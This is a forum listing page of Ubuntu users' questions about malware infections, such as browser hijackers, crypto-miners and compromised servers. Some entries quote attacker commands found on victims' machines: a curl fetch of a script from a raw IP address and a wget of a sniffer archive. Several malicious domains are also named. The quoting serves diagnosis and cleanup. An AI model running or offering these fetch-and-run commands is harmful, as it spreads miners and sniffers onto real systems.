Questions tagged [malware]
Questions relating to malicious software
1
vote
0answers
23 views
Safest practice for installing software with potential malware [duplicate]
For a project I have been contracted to work on a collaborating Chinese programmer has provided some software to simplify some tasks. I am unaware whether this software package contains malware or ...
2
votes
1answer
93 views
Why is gnome-calculator scanning my home directory?
I'm currently running Ubuntu 18.04.1 and have gnome-calculator 3.30.1 installed. I'm pretty sure that's the one that came bundled with 18.04.
Every time I launch gnome-calculator the following ...
-1
votes
0answers
27 views
Apt-lock unavailable on fresh system , chrome showing ads on ad free websites , a malware?
I was working on Chrome for Ubuntu for a long time , but from last two three days it started behaving weird , I was seeing ads on my google search , for example I searched "hello" it showed adele's ...
1
vote
2answers
47 views
How do you reset firefox without losing your bookmarks/logins?
I've been getting these black-background text popups in the upper right corner when I have firefox running (they appear even when minimized) and when I click on them it takes me to pages. I'm not sure ...
-1
votes
1answer
43 views
What is recommended for fighting threats on an Ubuntu system? [closed]
I'm fairly new to GNU/Linux and I've recently migrated to Ubuntu because I've heard and read it's one of the best distros to try when you're learning Linux. However, I'm looking for something to ...
0
votes
0answers
55 views
on-going ransomware attack
While I have a lot of experience (including driver level programming), this one is new to me. I'd appreciate any pointers as to how to proceed.
I was running Ubuntu 16.04 LTS. I updated daily. And ...
1
vote
0answers
40 views
I have noticed that sometimes my HD is spinning and spinning running “find command” on Xubuntu 16.04.5
When I start my laptop the HD is spinning executing find command without reason, I tried to clean saved sessions, looking in startup programs if there is any command using find command, but I couldn't ...
0
votes
0answers
50 views
getting rid of the `hwatchtvnow` virus
My machine appears to be infected with the search.hwatchtvnow.co virus. I get popups from it regularly. Since I use chrome,firefox and opera, I'm not sure which browser is infected. There ...
0
votes
0answers
148 views
Infected file found without further information in ClamAV scan. Any way to quickly see what it was?
My ClamAV was set up following this answer. I wanted to run it on the whole system, using clamscan -r /, and it told me: Infected files: 1 in the results, without any further information. It looks ...
0
votes
0answers
36 views
meltdown_v1, spectre_v2 capabilities on 18.04 LTS [duplicate]
Hardware more than Operating System related but:
When running cat /proc/cpuinfo from the terminal I am given the lovely output:
bugs: meltdown_v1_spectre_v2_speculative_bypass
The infected CPU is a ...
0
votes
1answer
77 views
Strange CPU usage behaviour with systemd, sleep, initctl or gvfsd processes owned by user
I have noticed in my 'indicator-multiload' application that my CPU usage some time after booting is raised permanently at about 50 to 100 percent.
After running 'top' I can see a process owned by the ...
3
votes
2answers
1k views
How to remove naganoadigei.com popup virus
Whenever I click any URL so that will open a new tab with this URL (Please be careful):
hxxp://naganoadigei.com/imp/6932/?scontext_r=xlBO1OGoXtDY%2AqpCVwdK6hjcJXf8xQdE2bF9D7qYvJirlGAXcl42kf_7I6Zo60fY&...
64
votes
1answer
11k views
Notification saying “A new Virus is Stealing Data!” on Ubuntu 18
Recently whenever I open Firefox I get a message in notification center. It's not always the same and it keeps changing. here is an example:
It's not always this. It gives other messages too and ...
0
votes
1answer
69 views
Unusuall activity
I'm a new user as you can see, so sorry if the question is boring or imprecise.
I upgraded my Ubuntu 16.04 to 18.04 and everything was fine. But after a power outage, something went wrong. It did not ...
2
votes
1answer
51 views
How can I find the origin of a process and stop it permanently?
I have an Ubuntu system running an apache server. I have found a process cache.sh which I think might be a crypto-mining process and which is running all the time on my server consuming up to 98% CPU. ...
0
votes
1answer
70 views
Removing W32/Parite.B virus
I scanned one of my directory with clamscan and it showed that every .exe file is infected:
.../file.exe: Heuristics.W32.Parite.B FOUND
.../file2.exe: Heuristics.W32.Parite.B FOUND
.../file3.exe: ...
0
votes
0answers
55 views
Virus detection in browsers
I have downloaded and installed ubuntu on my home pc.
I have firefox (preinstalled) and installed chrome.
I am now trying to download a miner to my pc which I know will flag as a virus.
Everytime I ...
5
votes
2answers
2k views
Some supisious software making request to nmcheck.gnome.org
Since last few days my system popup a Ubuntu default web-browser and make request to nmcheck.gnome.org website and immediately shut off
after this issue I can not run system update
also, I am php ...
1
vote
1answer
96 views
Test firefox for virus/hijacker
I am a bit concerned about my firefox being hijacked or something. I went to a website and it opened a pop-up asking firefox to be updated.
I knew immediately it was a malicious code because it ...
0
votes
0answers
78 views
zukxd6fkxqn redirect in Firefox
I am running Ubuntu 16.04. While using Firefox occasionally the browser will open another tab then automatically close it. The tab will have an address along the lines of zukxd6fkxqn .com. I know that ...
0
votes
0answers
21 views
Do scripts in cron update when programs are updated?
I have recently found a lot of brute force SSH attempts on my server. As a result of that, I have changed the port of my server and put a few firewalls in place to make it harder for my server to be ...
1
vote
1answer
519 views
Scanning External Drives for Viruses - Ubuntu [duplicate]
So I recently installed Ubuntu onto one of my Computers and would like to uses it to scan external drives USB and what not for viruses that can affect windows PC. Is there a possible antivirus or ...
1
vote
1answer
168 views
Slurm new user on Ubuntu 18.04
I am a very new user of Ubuntu (escaped from Windows recently) and yesterday when I was turning on my PC I found new user listed in login options with a nickname "Slurm" (I am the only user with a ...
1
vote
0answers
39 views
Chrome re-directs to spam site
This might be a little unrelated to this stack but I could not find a more suitable place. I am running Ubuntu 16.04 and have chrome installed on it. The problem is when I try to access a particular ...
0
votes
0answers
69 views
infection or problem
I'm a 25 years experience technician on windows system, 1 year on Ubuntu. this week I face an issue that my experience tells me its an infection.
On my desktop system I was trying to create a ...
2
votes
3answers
448 views
Can I get a virus/malware from only visiting websites?
When I use Firefox and browse the web, can I get viruses or malware without downloading and installing anything? For example, from bad scripts?
0
votes
1answer
109 views
How do I clean Ubuntu installation of Viruses / Miners?
So it appears our VPS is being hacked, I noticed websites running slow so I checked for processes using htop. There are various cpuminers present, getting processor to nearly 100% usage. I think hack ...
1
vote
1answer
100 views
Can my system be infected with the Trojan known as commondatastorage?
On Facebook, a friend sent a post with many names including mine. There was a video and I clicked. It opened a page with nothing. The URL started with commondatastorage.google.apis and more. Nothing ...
1
vote
1answer
49 views
Malware by wine [duplicate]
If a portable windows program has malware and I open it by wine, just close it to do away with the malware?
Sorry for my grammar. I'm not fluent in English
Thank you
2
votes
1answer
155 views
interpreting message in “virustotal”
I wonder if anyone can help me with the results of my virustotal-scan (online virus lab).
I submitted a pdf-file of an Russian-German textbook ("1_Ulrike_Patow_Gabriela_Stelzig_Russisch_bitte.pdf") ...
1
vote
1answer
11k views
Does Ubuntu 18.04LTS require antivirus/malware? [duplicate]
(not duplicated because i'm specifying version of Ubuntu, other questions are about ubuntu without version)
Does ubuntu 18.04LTS require antivirus/malware?
wich is the best option? if yes.
i have ...
1
vote
1answer
42 views
What precaution should users take when installing proprietary snaps to avoid malware? [duplicate]
Proprietary snaps contributed by a particular entity were removed from the snap store as described in How to ask to ban the application for security reasons?.
What cautions should users take before ...
3
votes
0answers
65 views
Where to complain about applicaton in Software Center?
Recently I tried applicaton Qstamina-snap.
And when I opened it there another window appear with advertising and I can't use application itself, when I close ad then app close too. And I'm not sure if ...
2
votes
0answers
56 views
How locked user keeps running?
I got a compromised server, most likely a crypto miner or something, htop reports this:
30393 geauxsmar 20 0 5328 3984 2540 R 100. 0.1 21h26:45 [sync_supers]
I locked it with:
sudo usermod --...
0
votes
0answers
94 views
sync_supers are created again and again for www-data [duplicate]
I have updated drupal 7 from 7.2 to 7.59., but the problem remains the same.
4353 www-data 20 0 24392 3888 1012 R 100.0 0.0 13:15.26 [sync_supers]
5268 www-data 20 0 24392 3888 1012 R 100.0 0.0 9:42....
0
votes
1answer
109 views
windows virus on usb will run on ubuntu 16.04? [duplicate]
As the title suggest, is it really possible that a virus/malware/spyware or anything bad that will affect my pc, will be transferable and "AUTO-RUN" from a USB with files copied from a Windows OS(...
3
votes
2answers
1k views
suppoie malware removal (script hidden in .jpg)
Found this on an Ubuntu 16.04 server.
Malware I guess, but is there a guide to make sure I can clean it all out?
curl -s http://158.69.133.18:8220/logo7.jpg
#!/bin/sh
ps aux | grep -vw suppoie | awk ...
-3
votes
1answer
350 views
I am getting this http://onclickrev.com redirects from chrome and mozilla
I am getting this http://onclickrev.com redirects from Chrome and Mozilla Firefox when ever I view sites that are not secured connects - like http:/******.com and the CPU usage goes above 60%. Is ...
0
votes
0answers
327 views
How to remove Ad Malware/Virus from Google Chrome which causes ads to appear in list of results?
Screenshot of Ads appearing as chrome search results:
I don't know what got into my system. I am really fed up with these.
I have looked up all my extensions and did not find anything malicious.
I ...
0
votes
1answer
65 views
Trying to remove brontok virus, don't understand output of 'ps aux | grep .exe'
I have what I think is the brontok virus. Trying to remove it following this post How do I remove the brontok virus that has infected my Ubuntu via Wine?
I entered the command ps aux | grep .exe ...
1
vote
0answers
65 views
How to scan for suspicious php files on filesystem
As in the title, I would like to scan some directories on my local filesystem for suspicious (eg. obfuscated, system-calls, create-method calls, strange file names,... ) PHP-Files.
Is there a known ...
0
votes
0answers
102 views
Is org.debian.apt.update-cache legitimate or spyware? [duplicate]
My filename: Spyware or something else bad - ask Linux Ubuntu 2018-Mar-05
I signed into my user account and an Authenticate window popped up. (I only use my Admin account to update Ubuntu every day I ...
24
votes
2answers
6k views
Found SSH Backdoor on VServer. What to do?
Yesterday I checked my history of commands on my VServer. I found several suspicious lines.
195 wget aridan.hol.es/sniffer.tgz
196 tar xvf sniffer.tgz
197 ls -a
198 rm -rf sniffer.tgz
...
0
votes
0answers
453 views
How can I remove JS:Cryptonight[Tri]?
I accidentally got infected with JS:Cryptonight[Tri], which is a Cryptocurrency Miner that makes use of my CPU power to mine Monero (XMR) coins.
I was doing some daily research for my job and I got ...
1
vote
3answers
541 views
google search results page hijacked by search.interactivesplash.com
I noticed after unsubscribing from a junk mail, not sure this was a good idea, when I did a Google search using Chromium Web browser, the results page showed up, but very quickly before I could click ...
0
votes
1answer
67 views
Help with hijacked dns
When I try to navigate to a domain that I know doesn't exist, I automatically get routed to advexplore dot com which shows me a search bar and genealogy links. This is obviously not a default ...
-3
votes
1answer
98 views
Possible ransomware
I have an SSD with Ubuntu on a partition and /home on another partition. I also have another HDD installed on the system. The SSD is connected through PCIe so the hard drive access red led doesn’t ...
0
votes
0answers
43 views
Mozilla and Chromium Hijacked, ClamAV blocked, system slow and unstable
So a day ago I switched from Windows to Ubuntu because I'm being targeted by a hacker and cleaning my computer was becoming a full-time job. I was in a social media site when firefox started getting ...
0
votes
2answers
178 views
Ubuntu 14.04 is CrossRat malware a threat?
I saw a link about CrossRat Malware on Quora, is this Malware a problem on Ubuntu 14.04?
I have not been able to find the location listed for linux on my Ubuntu. Also I generally have Java shut off ...
1
vote
0answers
151 views
storage.googleapis.com malware on chromium
I did a serious mistake of opening the following malware link on my chromium browser:
hover here below to show probably dangerous link
I wish to know what are the implications, on the OS as well ...
